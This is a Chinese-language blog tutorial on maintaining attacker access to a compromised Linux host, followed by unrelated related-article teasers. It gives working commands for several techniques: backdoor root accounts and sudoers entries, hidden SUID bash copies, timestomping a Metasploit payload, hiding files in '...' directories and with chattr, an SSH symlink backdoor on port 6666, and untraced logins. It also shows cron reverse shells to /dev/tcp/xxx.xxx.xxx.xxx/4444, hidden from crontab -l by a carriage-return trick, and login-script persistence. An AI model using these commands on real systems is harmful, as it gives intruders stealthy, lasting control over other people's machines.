当前位置: 首页 > news >正文

权限维持——Linux

前提

已经提权到管理员权限

一、创建账户

1、创建一个自定义密码的账户

        已知,Linux中所有的用户的信息 存储在/etc/passwd这个文件中 。可以利用管理员权限修改这个文件, 添加一个账户 。

利用linux中的密码的编码算法 生成对应密码 (不知道的百度搜索一下)

加密密码:

password@123-->advwtv/9yU5yQ

使用命令生成账户或直接复制到passwd文件中:

echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd 

测试:

登录成功

 2、直接创建管理员账户

#创建账户

useradd -o -u 0 -g 0 sun_happy

#设置密码
passwd

password@123

3、配置sudoers文件

修改 /etc/sudoers配置文件 在此文件配置用户

Sun_happy ALL=(ALL) NOPASSWD:ALL

在之前的文章中已经介绍过了,就不过多的描述了。

执行命令时 ,命令之前加上 sudo就可以以管理员的身份运行 。

4、普通用户+SUID权限

(1)给以下命令加上 s权限:

chmod u+s /bin/bash            $ bash -p
chmod u+s /bin/sh            $ sh -p
chmod u+s /bin/env            $ env /bin/sh -p
chmod u+s /bin/vi            $ vi /etc/shadow
chmod u+s /bin/awk            $ awk '{print $0}' /etc/shadow
chmod u+s /bin/cat            $ cat /etc/shadow
chmod u+s /usr/bin/curl        $ curl file:///etc/shadow
chmod u+s /bin/find            $ find /etc/passwd -exec cat /etc/shadow \;
                              find /etc/passwd -exec bash -p \;

        缺点是:容易被发现。 

(2)创建一个普通用户+SUID:

#首先创建一个普通用户

useradd lisi

passwd lisi

lisi1234 

#利用root账户复制bash

cp /bin/bash /tmp/.shell        # 名为.开头的隐藏文件

ll -a /tmp        #显示隐藏文件

chmod 4755 /tmp/.shell        # 给.shell赋予可执行的权限与SUID权,就相当于赋予bash

#利用普通账户执行 bash (.shell)

/tmp/.shell

#测试:

        优点:该方法不容易被管理员发现发现 

二、文件属性修改

1、修改文件时间

        管理员可以通过查看最近被修改文件来找到有可能是黑客操作的文件 。为了权限维持,就采用修改文件时间的方法。

find按时间查找文件:

find / -atime -5 | grep msf  #查找最近5天修改的  带有msf 的文件

-atime [+|-]#     访问时间  access
-mtime [+|-]#     更新时间  modify
-ctime [+|-]#     创建时间  create
# 解读:
-#  表示[0,#)       
#  表示[#,#+1)     
+#  表示[#+1,∞]     # 实例:比如 #=3的含义如下
-3 表示 3个24h之内      (系统称之为三天内)
3 表示 第4个24h期间内   (系统称之为是第三天)
+3 表示 超过4个24h      (系统称之为是超过三天)

实验:

#新创建一个伪木马文件:msf_5555.elf

内容随便填写

测试:

成功搜索到。
 

#修改文件访问时间
先找到一个主机存在的很久的文件

然后将我们新访问过的木马的访问时间修改:

#touch -r 旧文件 新文件
touch -r  /root/anaconda-ks.cfg  ./msf_linux.elf#修改b.txt文件的访问时间与修改时间为2022年8月12日8点00分00秒
touch -t 202208120800.00 msf_linux.elf   

测试:

查看修改过的文件访问时间:

stat 文件名

2、创建隐藏文件

        在Linux中每一个目录中,都保存有两个固定目录 。

验证:

#通过ll -a 查看

因此无法创建名为..与.的目录:

        由于熟悉Linux的人基本上都知道这个知识点,因此我们需要创建名为...  ....的文件夹,成功隐藏,可以多创建几级:mkdir /home/.../...

#把木马移动到该隐藏文件夹...下:

#设置木马的可执行权限  : chmod  u+x  xxxxx,设置成功后就可以尝试用kali连接了,这里就不赘述了

 3、文件上锁

        该方式利用了工作人员的潜意识来进行维权:就是当删除一个文件时,系统不允许,那么潜意识就会认为这是系统文件。

        Linux 系统中的文件和目录,除了可以设定普通权限和特殊权限外,还可以利用文件和目录具有的一些隐藏属性。而chattr 命令,专门用来修改文件或目录的隐藏属性,只有 root 用户可以使用。

实验:

#chattr [+] [属性] 文件或目录名

touch aaa.txt        #创建测试文件

chattr +i aaa.txt        #设置属性

测试结果:

三、SSH后门

1、软连接后门

        在当前系统中开一个端口 ,这个端口通过SSH服务创建的 ,可以用来登录使用 。

实验:

#查看ssh的22端口使用情况

netstat -antp | grep 22

如果我们留后门还流留22,就很容易被发现。

#开端口软连接

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666

#使用windows连接

连接成功

#测试能否通过22端口查看到

查看不到

2、隐身登录

        注意:这里说的隐身登录 ,是登录不能不被`who、w、last`等命令查看到,但是可以被 `netstat -antp`  查看到 。因此该方法比较鸡肋,了解一下即可。

实验:

#先创建一个普通用户:sunhappy

#然后输入以下命令:


ssh -T sunhappy@xxx.xxx.xxx.xxx /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T sunhappy@xxx.xxx.xxx.xxx /bin/bash -if

3、利用公钥和私钥登录

之前我的文章里有写,链接如下:

Linux提权

四、定时任务(crontab)

        定时任务,在Linux系统中创建的一些定时自动的任务 。

创建shell反弹定时任务:

#查看定时任务

crontab -e

#添加定时任务
*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1'

#有关于定时任务的介绍在Linux文章中已经介绍过了,这里简单介绍,就是该任务每分钟执行一次

创建一个定时运行木马的任务:

 35 * * * * /usr/share/icons/gnome/scalable/devices/msf_linux_reverse_tcp_64.elf

隐藏定时任务:

 #上面的两种定时任务容易被发现,需要进行隐藏

(printf "*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1';\rno crontab for `whoami`%100c\n")|crontab -

#在linux终端中执行 创建隐藏的定时任务,利用crontab -l 查询不到

#但是我们可以在定时任务存储文件中 查询

cat -A /var/spool/cron/root

五、自启动文件

        在linux系统中,有一些文件是开机或者 登录时 自动被加载 ,这些文件就有可能被黑客利用。

/etc/rc.d/rc.local:系统在启动时进行加载执行,/etc/rc.local是本文件的软链接文件。
/etc/profile: 此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行。
/etc/bashrc:  为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取。
~/.bash_profile: 每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次。
~/.bashrc: 该文件包含专用于你用户的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取。
~/.bash_logout: 当每次退出系统(退出bash shell)时,执行该文件。


值得注意的是后三个都是隐藏文件。

实验:

#打开/etc/profile

 

#在该文件种写入想要的程序,登录时会自动执行

比如加入:chmod u+s /usr/bin/bash

重启Linux登陆后则执行该语句。

相关文章:

权限维持——Linux

前提 已经提权到管理员权限 一、创建账户 1、创建一个自定义密码的账户 已知,Linux中所有的用户的信息 存储在/etc/passwd这个文件中 。可以利用管理员权限修改这个文件, 添加一个账户 。 利用linux中的密码的编码算法 生成对应密码 (不知…...

申请SSL证书闭坑方法

上来先问一个问题,为什么自己不能成立CA机构发SSL证书产品?为什么有的CA机构不能发被信任SSL证书产品? 真正原因是,SSL证书里面的根证书需要提前放入操作系统及浏览器,然而这些浏览器和操作系统的版本很多&#xff0c…...

linux 下域名解析错误

本文参考这里 作者:程序那点事儿 日期:2024/01/31 16:25 ping raw.githubusercontent.com,ping这个域名时,发现返回的是本地ip 原因是,配置了本地网关地址 192.168.xx.1 用命令查看默认网卡的网关:nmcli …...

基于单片机的角度、水位、温度、辅助热源、电机仿真

目录 一、主要功能 二、硬件资源 三、程序编程 四、实现现象 一、主要功能 基于51单片机 采用滑动变阻器连接ADC0832数模转换器模拟角度传感器,水位传感器; 采样DS18B20温度传感器检测温度 通过LCD1602显示,第一行显示温度、水位、角度…...

泛函分析精解【1】

文章目录 平方可积函数平方可积函数一、定义二、性质三、公式四、计算五、例子六、例题 平方可积函数在泛函分析一、定义二、性质三、公式四、计算五、例子六、例题 L 2 空间 L_2空间 L2​空间定义性质公式计算例子例题 实变函数与罗曼积分实变函数与Riemann积分的联系实变函数…...

大数据毕业设计选题推荐-租房数据分析系统-Hive-Hadoop-Spark

✨作者主页:IT研究室✨ 个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…...

有关shell指令练习2

写一个shell脚本,将以下内容放到脚本中 在家目录下创建目录文件,dir dir下创建dir1和dir2 把当前目录下的所有文件拷贝到dir1中, 把当前目录下的所有脚本文件拷贝到dir2中 把dir2打包并压缩为dir2.tar.xz 再把dir2.tar.xz移动到dir1中 …...

Exception与Error:Java中的异常处理

在Java编程中,异常处理是一个非常重要的概念。它允许程序在遇到错误时优雅地处理,而不是突然崩溃。Java通过Exception和Error类来区分不同类型的错误情况,并通过一套完整的异常处理机制来管理这些错误。 异常(Exception&#xff…...

HashMap哈希表练习

一、练习要求 使用顺序表和单链表通过C语言实现一个HashMap的数据结构,实现以下功能: 1、PHashMap createHashMap(int size); 2、int putValue(PHashMap map, int key, EleType value); 3、EleType getValue(PHashMap map, int key); 4、printHashMap(PH…...

字节豆包C++一面-面经总结

talk is cheap show me the code lc206:链表反转:给你单链表的头节点 head ,请你反转链表,并返回反转后的链表。 class Solution { public:ListNode* reverseList(ListNode* head) {if(headnullptr||!head->next)return head…...

极狐GitLab 17.4 重点功能解读【三】

GitLab 是一个全球知名的一体化 DevOps 平台,很多人都通过私有化部署 GitLab 来进行源代码托管。极狐GitLab 是 GitLab 在中国的发行版,专门为中国程序员服务。可以一键式部署极狐GitLab。 学习极狐GitLab 的相关资料: 极狐GitLab 官网极狐…...

【unity进阶知识4】封装unity协程工具,避免 GC(垃圾回收)

文章目录 前言封装协程工具类,避免 GC(垃圾回收)使用1.使用默认方式使用协程2.使用自定义的 CoroutineTool 工具类来等待不同的时间 完结 前言 在 Unity 中,使用 yield return null 、yield return new WaitForEndOfFrame()等会导…...

Source insight安装使用笔记

Source insight安装使用笔记 1.安装包下载2.安装记录3. 使用教程1.安装包下载 官网下载 可修改 C:\ProgramData\Source Insight\4.0\si4.lic 将Expiration=”2017-XX-XX”中的2017修改为2030。 本地下载 2.安装记录...

golang学习笔记29——golang 中如何将 GitHub 最新提交的版本设置为 v1.0.0

推荐学习文档 golang应用级os框架,欢迎stargolang应用级os框架使用案例,欢迎star案例:基于golang开发的一款超有个性的旅游计划app经历golang实战大纲golang优秀开发常用开源库汇总想学习更多golang知识,这里有免费的golang学习笔…...

Netty源码解析-锁机制

Netty基本介绍,参考 Netty与网络编程 为了提高性能,Netty对锁也做了大量优化 1、锁优化技术 Netty大量使用了锁优化技术: 1.1 减小锁粒度1.2 减少锁对象的空间占用1.3 提高锁的性能1.4 根据不同业务场景选择合适锁1.5 能不用锁则不用锁 …...

【C/C++】initializer_list

initializer_list 1 构造函数场景 class P { public:P(int a, int b) {std::cout << "int, int" << std::endl;}P(std::initializer_list<int> initList) {std::cout << "initializer_list" << std::endl;} };调用&#x…...

不要再混淆啦!一文带你学会原型链继承、构造函数继承、寄生组合继承、ES6继承

JS继承目录 一、原型链继承2、构造函数继承3、组合继承4、寄生组合继承5、ES6继承 js有几种经典的继承方式。比如 原型链继承、 构造函数继承、 组合继承、 寄生组合继承、 ES6继承。让我们一一分析并实现。同时了解每种方案的优缺点。 其实js的继承本质上是通过原型链机制…...

828华为云征文|华为云Flexus X实例Windows Server 2019安装护卫神防火墙——为企业运维安全发挥重要作用!!!

前言 公司最近需要选购一台华为云Windows服务器部署产品应用&#xff0c;但是考虑到Windows的安全性至关重要。护卫神防火墙无疑是守护Windows系统安全的得力助手。 华为云以其强大的性能和稳定的服务&#xff0c;为众多企业和开发者提供了可靠的云端基础设施。在网络环境日益复…...

最新的iOS 18版本和Android 15版本系统分别升级了哪些功能?

iOS 18 推出了多项激动人心的新功能和改进。以下是一些亮点&#xff1a; 日记应用&#xff1a;一款全新的日记应用&#xff0c;旨在帮助用户记录日常经历、想法和活动&#xff0c;利用设备内置智能功能建议主题&#xff0c;并根据照片、位置和其他数据组织条目。 眼动追踪导航…...

window系统DockerDesktop 部署windows容器

目录 参考文献1、安装Docker Desktop1.1 下载安装包1.2 安装教程1.3 异常解决 2、安装windows容器2.1 先启动DockerDesktop 软件界面2.2 检查docker版本2.3 拉取windows镜像2.4 网盘下载windows镜像 参考文献 windows容器docker中文官网 Docker: windows下跑windows镜像 1、安…...

CSDN文章导出md并迁移至博客园

一、获取所有文章地址 1.进csdn首页&#xff0c;点击自己的头像 2.在个人主页界面&#xff0c;按F12打开控制台&#xff0c;并找到network&#xff0c;找到get-business开头的请求&#xff0c;右键copy他的url 3.选择console,输入一下代码&#xff0c;其中fetch里面的url是你刚…...

计算机组成原理(笔记5原码和补码的乘法以及直接补码阵列乘法器 )

原码一位乘法 手算&#xff1a;过程 令x′|x|0.x1x2…xn-1xn&#xff0c;y′|y|0.y1y2…yn-1yn 同时令乘积P′ |P| x′ y′&#xff0c;有&#xff1a; x′ y′ x′(0.y1y2…yn-1yn) x′ (y12-1y22-2…yn-12-(n-1)yn2-n) 2-1(y1x′2-1(y2x′…2-1(yn-1x′2-1(ynx′0))…))…...

【hot100-java】【括号生成】

R9-回溯篇 枚举填左括号 class Solution {private int n;private char[] path;private final List<String> retnew ArrayList<>();public List<String> generateParenthesis(int n) {this.nn;//所有括号长度都是n*2pathnew char [n*2];dfs(0,0);return ret;…...

k8s_资源管理介绍

资源管理介绍 在k8s中&#xff0c;所有内容都抽象成资源&#xff0c;用户需要通过操作资源来管理k8s k8s本身就是一个集群系统&#xff0c;用户可以在集群中部署服务&#xff0c;在k8s集群中运行一个个的容器&#xff0c;将指定的程序部署到容器中 k8s最小的管理单元是pod&…...

操作简单 地检编码器 武汉正向科技售后优质

武汉正向科技的地检编码器以导轨式安装方式&#xff0c;方便拆卸&#xff0c;立体结构造型&#xff0c;节约空间。 格雷母线定位系统由格雷母线&#xff0c;天线箱&#xff0c;解码器&#xff0c;编码器等部件构成。 用途 地上检测方式地址信号的编码、功率放大&#xff0c;与…...

2024中国新能源汽车零部件交易会,开源网安展示了什么?

近日&#xff0c;2024中国新能源汽车零部件交易会在十堰国际会展中心举行。开源网安车联网安全实验室携车联网安全相关产品及解决方案亮相本次交易会&#xff0c;保障智能网联汽车“车、路、云、网、图、边”安全&#xff0c;推动智能网联汽车技术突破与产业化发展。 中国新能源…...

Java解析嵌套jar中class文件

一、简述 Maven项目通过package打成jar包后&#xff0c;jar包中包含所有依赖lib文件。本文介绍了两种方式解析嵌套jar中的class文件&#xff0c;一种是通过spring-boot-loader包JarFileArchive&#xff0c;另一种是util包中JarFile。 二、JarFileArchive方式 1.spring-boot-…...

【含文档】基于Springboot+Vue的高校竞赛管理系统(含源码+数据库+lw)

1.开发环境 开发系统:Windows10/11 架构模式:MVC/前后端分离 JDK版本: Java JDK1.8 开发工具:IDEA 数据库版本: mysql5.7或8.0 数据库可视化工具: navicat 服务器: SpringBoot自带 apache tomcat 主要技术: Java,Springboot,mybatis,mysql,vue 2.视频演示地址 系统定义了三个…...

在大模型应用层面区分对比检索增强生成RAG技术和知识库技术

在前文&#xff1a; 《RAG(Retrieval-Augmented Generation)检索增强生成技术基础了解学习与实践》 初步了解实践了RAG技术&#xff0c;后面好多朋友也在沟通聊到了前面大模型另一项技术就是本地知识库方法&#xff0c;之前基于LangChain本地知识库的方式&#xff0c;可以本地…...

云和恩墨携手华为,发布zCloud数据库备份管理一体机并宣布共建数据保护生态...

为期三天的第九届华为全联接大会&#xff08;HUAWEI CONNECT 2024&#xff09;于9月19日在上海世博中心&展览馆盛大召开。20日下午&#xff0c;一场围绕“全场景数据保护&#xff0c;护航数智化时代”的专题论坛举办&#xff0c;云和恩墨受邀参加&#xff0c;并期待与华为合…...